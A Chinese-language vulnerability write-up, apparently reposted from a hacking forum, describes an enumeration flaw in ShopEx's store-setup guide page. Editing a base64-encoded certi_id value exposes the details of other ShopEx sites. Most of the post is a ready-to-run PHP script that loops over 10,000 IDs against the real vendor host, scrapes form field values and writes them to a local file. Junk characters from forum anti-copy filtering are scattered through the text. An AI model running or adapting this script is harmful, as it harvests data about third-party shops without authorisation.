ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面
# U0 q/ |8 `; ]5 p
) @- Q+ c5 v, z4 z
  I8 I1 w4 V( v$ [& P
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



2 J) `. }* l. Zrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

) V) R, P( X5 n9 V* j0 b, U
; O# Z9 e1 l& c/ o8 p
/ @: Z( @8 x% F. @8 Z我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
4 l& ~8 E( u7 t+ t7 C. A( [  E


; w( d  o2 j6 H  a7 j, w* I<?php

                for ($i=1; $i < 10000; $i++) { //遍历

8 D( W$ K& r6 |  ~6 I+ E                        ShowshopExD($i);
4 g! T/ Q- @4 ^( L
3 Y3 y, h& L! h+ A. n( ^                }

! S/ X) h- x( h1 P! m( T& o                function ShowshopExD($cid) {
7 s/ O5 g2 w' o7 T
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

1 l% U  e5 f7 N1 E& V5 Z        $url = $url.'?refer='.$refer;

* _7 v  [% l- x. s        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

3 J( x" Z! ]6 _( F% ?        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
; d8 ^8 w- T/ F% o  k2 C
% _5 @/ \# e* S+ B        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))

        {
( e" u( _* [4 Q& ]& F" M$ ]
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

0 T8 x( ^7 L1 M5 ^* j                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
. y8 Y/ f# I, Y* p" B6 t
1 B! y3 D, f" E$ l                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
/ y$ C1 O2 w+ D, |
                        echo $res[1][0].':'.$res[3][0]."\r\n";
5 N! q( A1 U6 D% D
8 g( R& r4 x' G: \9 |( |                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
% U% w. O, g& q, U* l. m
                }

; f; t6 [8 i7 T0 |' h) u                echo '--------------------------------'."\r\n";
& L0 f6 ~& K; ^; t" E! _
2 B* T, n$ H2 d2 d" t0 N. P" I                fclose($fp);

3 [. M/ v! v0 }! I        }

2 ?2 G" Z5 F$ Z& l6 T2 ^, R8 |+ _        flush();
: f9 Q) {. @' c  d
        curl_close($ch);

( F! Z/ P/ Z# p6 l" }  ~# _2 |4 `                }
% ~, S$ b, D' Y8 P6 F& J
, d' I  c; S0 q( ?8 s" Q?>
漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
0 ~* Y$ q1 m5 I% j7 s6 ^# erefer换成其他加密方式
& o) w$ s* g3 K! C